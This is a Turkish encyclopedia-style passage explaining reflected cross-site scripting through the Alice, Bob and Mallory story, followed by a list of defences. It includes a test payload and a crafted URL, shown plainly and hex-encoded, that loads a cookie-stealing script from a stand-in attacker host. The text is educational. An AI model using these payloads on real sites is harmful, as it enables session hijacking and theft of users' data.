Siteler arası betik çalıştırma
İstismar Örnekleri > Kalıcı olmayan

Alice sık sık Bob tarafından host edilen bir web sitesini ziyaret etmektedir. Bob'un sitesi, Alice'in bir kullanıcı adı ve parola çiftiyle giriş yapmasına ve faturulandırma bilgisi gibi hassas verileri saklamasına izin vermektedir. Bir kullanıcı oturum açtığında, tarayıcı bir Authorization çerezi tutmakta ve böylece her iki bilgisayar (sunucu ve istemci) kullanıcının giriş yaptığını hatırlamaktadır.
Mallory, Bob'un sitesinin yansıtılmış bir XSS açıklığına sahip olduğunu gözlemler:
Arama sayfasını ziyaret ettiğinde, bir arama terimini arama kutusuna girdi olarak sağlar ve kaydet butonuna basar. Eğer hiçbir sonuç bulunamazsa, sayfa "not found" ifadesinin önüne arama terimini ekleyerek gösterir ve URL  http://bobssite.org?q=arama_terimi.
"puppies" gibi normal bir arama sorgusuyla, sayfa sadece "puppies not found" ifadesini göstermekte ve URL "http://bobssite.org?q=puppies" olmaktadır.
Ancak, "​html4strict​ " gibi normal olmayan bir arama sorgusu gönderdiğinde:
("xss" yazan) Bir uyarı kutusu görünür.
Sayfa 'xss' ifadesi ile ilgili bir hata mesajı ile beraber "​html4strict​ not found," ifadesini gösterir.
Url "http://bobssite.org?q=<script%20type='text/javascript'>alert('xss');</script> olmaktadır - ki bu da istismar edilebilecek bir davranıştır.
Mallory açıklığı istismar etmek için bir URL oluşturur:
http://bobssite.org?q=yavru<script%20src="http://mallorysevilsite.com/authstealer.js"></script> URL'ini oluşturur. Ayrıca http://bobssite.org?q=yavru%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E gibi ASCII karakterlerini on altılı sayı sistemi formatına çevirebilir, böylece normal kullanıcılar kötücül URL'i hemen anlayamazlar.
"Şu sevimli kediciklere bakın" mesajıyla, Bob'un sitesinde üye olan ve şüphelenmeyecek bazı üyelere e-posta atar.
Alice e-postayı alır. Kedileri sevdiği için linke tıklar. Bob'un sitesinde arama yapar, "puppies not found" ifadesini görür, ancak (ekranda gözükmeyen) script etiketi çalışır ve Mallory'nin authstealer.js programını yükler ve çalıştırır. Alice bunu unutur ve devam eder.
Authstealer.js programı Alice'in tarayıcısında sanki Bob'un sitesinin bir parçası gibi çalışır. Alice'in Authorization çerezininin kopyasını alır ve Mallory'nin sunucusuna yollar.
Mallory, Alice'in Authorization çerezini sanki kendisinkiymiş gibi tarayıcısına ekler. Sonrasında Bob'un sitesine gider ve Alice olarak giriş yapmış olur.
Mallory sitenin Faturalandırma kısmına gider ve Alice'in kredi kartı numarasını öğrenir. Sonrasında parolayı değiştirme ekranına gidip parolayı değiştirir ve böylece Alice kendi hesabına giriş yapamaz.
Saldırıyı bir adım daha geliştirerek, benzer bir şekilde oluşturulmuş bir linki Bob'a gönderir ve böylece Bob'un sitesi üzerinde yönetici yetkilerine sahip olur.
Bu saldırıyı engellemek için aşağıdaki birkaç önlem alınabilir:
Arama girdisi, uygun kodlama kontrolünü içerecek şekilde sterilize edilebilir.
Web sunucusu geçersiz istekleri yönlendirecek şekilde ayarlanabilir.
Web sunucusu eşzamanlı girişi tespit edebilir ve oturumları sonlandırabilir.
Web sunucusu iki farklı IP adresinden eşzamanlı girişi tespit edebilir ve oturumları sonlandırabilir.
Web sitesi daha önce kullanılan kredi kartı numarasının sadece birkaç hanesini gösterebilir.
Web sitesi kullanıcıların kayıt bilgilerini değiştirmeden önce tekrar parolalarını girmelerini gerektirebilir.
Web sitesi İçerik Güvenlik Politikası'nın pek çok farklı yönünü kullanabilir.
Kullanıcılar, "tehlikesiz gözüken" ancak kötücül olan linklere tıklamamaları konusunda eğitilebilir.
Çerez HttpOnly bayrağı ile işaretlenerek JavaScript'in çereze erişimi engellenebilir.